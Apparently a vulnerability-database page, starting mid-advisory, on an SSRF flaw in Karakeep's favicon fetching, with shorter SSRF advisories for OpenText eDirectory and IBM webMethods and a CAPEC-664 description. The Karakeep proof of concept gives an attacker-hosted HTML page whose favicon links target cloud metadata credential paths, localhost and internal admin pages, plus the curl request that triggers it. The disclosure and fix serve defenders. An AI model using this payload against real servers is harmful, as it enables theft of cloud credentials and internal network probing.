Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.

Impact

  • Cloud metadata access: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) which may expose IAM credentials.
  • Internal service discovery: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.
  • Redirect-based data leak: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.
  • Bypass of explicit security controls: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.

Suggested Fix

// apps/workers/scripts/parseHtmlSubprocess.ts
+ import { validateUrl } from "network";
+
+ // Create a got hook that validates URLs before requests
+ const ssrfHook = {
+   beforeRequest: [
+     async (options) => {
+       const result = await validateUrl(options.url.toString(), false);
+       if (!result.ok) {
+         throw new Error(`SSRF blocked: ${result.reason}`);
+       }
+     }
+   ]
+ };
+
  metascraperLogo({
      gotOpts: {
+       hooks: ssrfHook,
        agent: { ... },
      },
  }),

Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@karakeep/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:26:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `metascraper-logo-favicon` plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application\u0027s `validateUrl()` SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted `\u003clink rel=\"icon\"\u003e` tag.\n\n## Details\n\n### Protected path (correct)\n\nKarakeep implements comprehensive SSRF protections in `apps/workers/network.ts` (lines 12-222). The `validateUrl()` function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by `fetchWithProxy()` for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.\n\n### Unprotected path (vulnerability)\n\nAfter fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (`apps/workers/scripts/parseHtmlSubprocess.ts`). Inside this subprocess, `metascraper-logo-favicon` (v5.49.5) extracts favicon URLs from the HTML DOM by matching `\u003clink rel=\"icon\"\u003e` elements and reading their `href` attribute.\n\nThe plugin then calls `reachable-url` (which wraps `got`) to verify each extracted URL. These HTTP requests bypass `validateUrl()` entirely:\n\n```typescript\n// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73\nmetascraperLogo({\n    gotOpts: {\n      agent: {\n        http: serverConfig.proxy.httpProxy\n          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))\n          : undefined,\n        https: serverConfig.proxy.httpsProxy\n          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))\n          : undefined,\n      },\n    },\n  }),\n```\n\nOnly proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The `got` HTTP client makes direct requests to whatever URLs are extracted from the HTML.\n\n### Data flow\n\n```\n1. User creates bookmark \u2192 URL validated by validateUrl() \u2713\n2. Page HTML fetched \u2192 via fetchWithProxy() with SSRF protection \u2713\n3. HTML passed to parseHtmlSubprocess via stdin\n4. metascraper-logo-favicon parses \u003clink rel=\"icon\"\u003e tags from HTML\n5. Plugin calls reachable-url \u2192 got.get(faviconUrl) \u2192 NO validateUrl() \u2717\n6. Server makes HTTP GET to attacker-controlled internal URL\n```\n\n### Comparison\n\nThe application explicitly protects the main URL fetch with `validateUrl()` (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening (\"Stricter SSRF validation\" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins\u0027 internal HTTP requests are not routed through this validation.\n\n## PoC\n\n### 1. Set up a malicious page on a public URL\n\n```html\n\u003c!-- Hosted at https://attacker.example.com/ssrf.html --\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003ctitle\u003eInnocent Page\u003c/title\u003e\n  \u003clink rel=\"icon\" href=\"http://169.254.169.254/latest/meta-data/\" sizes=\"256x256\"\u003e\n  \u003clink rel=\"icon\" href=\"http://127.0.0.1:3000/api/v1/users/whoami\" sizes=\"128x128\"\u003e\n  \u003clink rel=\"icon\" href=\"http://192.168.1.1/admin\" sizes=\"64x64\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\u003cp\u003eNormal content\u003c/p\u003e\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### 2. Create a bookmark via the API\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/bookmarks \\\n  -H \"Authorization: Bearer YOUR_API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"type\": \"link\", \"url\": \"https://attacker.example.com/ssrf.html\"}\u0027\n```\n\n### 3. Result\n\nThe main URL (`https://attacker.example.com/ssrf.html`) passes `validateUrl()` since it resolves to a public IP. After the HTML is fetched, `metascraper-logo-favicon` extracts the favicon URLs and calls `reachable-url`/`got` to verify them. The server makes HTTP GET requests to:\n- `http://169.254.169.254/latest/meta-data/` (AWS IMDS)\n- `http://127.0.0.1:3000/api/v1/users/whoami` (localhost)\n- `http://192.168.1.1/admin` (internal network)\n\nThese requests bypass all SSRF protections.\n\nVerification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.\n\n## Impact\n\n- **Cloud metadata access**: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) which may expose IAM credentials.\n- **Internal service discovery**: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.\n- **Redirect-based data leak**: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark\u0027s logo field and visible to the attacker.\n- **Bypass of explicit security controls**: The application\u0027s SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.\n\n## Suggested Fix\n\n```diff\n// apps/workers/scripts/parseHtmlSubprocess.ts\n+ import { validateUrl } from \"network\";\n+\n+ // Create a got hook that validates URLs before requests\n+ const ssrfHook = {\n+   beforeRequest: [\n+     async (options) =\u003e {\n+       const result = await validateUrl(options.url.toString(), false);\n+       if (!result.ok) {\n+         throw new Error(`SSRF blocked: ${result.reason}`);\n+       }\n+     }\n+   ]\n+ };\n+\n  metascraperLogo({\n      gotOpts: {\n+       hooks: ssrfHook,\n        agent: { ... },\n      },\n  }),\n```\n\nAlternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).",
  "id": "GHSA-7rx4-c5vx-g8w3",
  "modified": "2026-05-14T18:26:02Z",
  "published": "2026-05-14T18:26:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/karakeep-app/karakeep/security/advisories/GHSA-7rx4-c5vx-g8w3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karakeep-app/karakeep/pull/2763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karakeep-app/karakeep/commit/3dc321e7d49aa3a1a2493637fb2ee21616fe5fd9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/karakeep-app/karakeep"
    },
    {
      "type": "WEB",
      "url": "https://github.com/karakeep-app/karakeep/releases/tag/v0.32.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections"
}

GHSA-7V38-XC68-49J2

Vulnerability from github – Published: 2024-09-12 15:33 – Updated: 2024-09-18 21:30
VLAI
Details

Possible External Service Interaction attack

in eDirectory has been discovered in OpenText™ eDirectory. This impact all version before 9.2.6.0000.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-12T13:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Possible \nExternal Service Interaction attack\n\nin eDirectory has been discovered in\nOpenText\u2122 eDirectory. This impact all version before\u00a09.2.6.0000.",
  "id": "GHSA-7v38-xc68-49j2",
  "modified": "2024-09-18T21:30:45Z",
  "published": "2024-09-12T15:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38132"
    },
    {
      "type": "WEB",
      "url": "https://www.netiq.com/documentation/edirectory-92/edirectory926_releasenotes/data/edirectory926_releasenotes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7V43-W3V8-WWV7

Vulnerability from github – Published: 2026-05-26 18:31 – Updated: 2026-05-26 18:31
VLAI
Details

IBM webMethods Integration (on prem) -Integration Server 10.15 through IS_10.15_Core_Fix2611.1 to IS_11.1_Core_Fix10 IBM webMethods Integration is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-26T17:16:28Z",
    "severity": "MODERATE"
  },
  "details": "IBM webMethods Integration (on prem) -Integration Server 10.15 through IS_10.15_Core_Fix2611.1 to IS_11.1_Core_Fix10 IBM webMethods Integration is vulnerable to server-side request forgery (SSRF). This may allow an authenticated\u00a0attacker to send unauthorized requests from the system, potentially leading to network enumeration or\u00a0facilitating other attacks.",
  "id": "GHSA-7v43-w3v8-wwv7",
  "modified": "2026-05-26T18:31:44Z",
  "published": "2026-05-26T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14290"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7273550"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.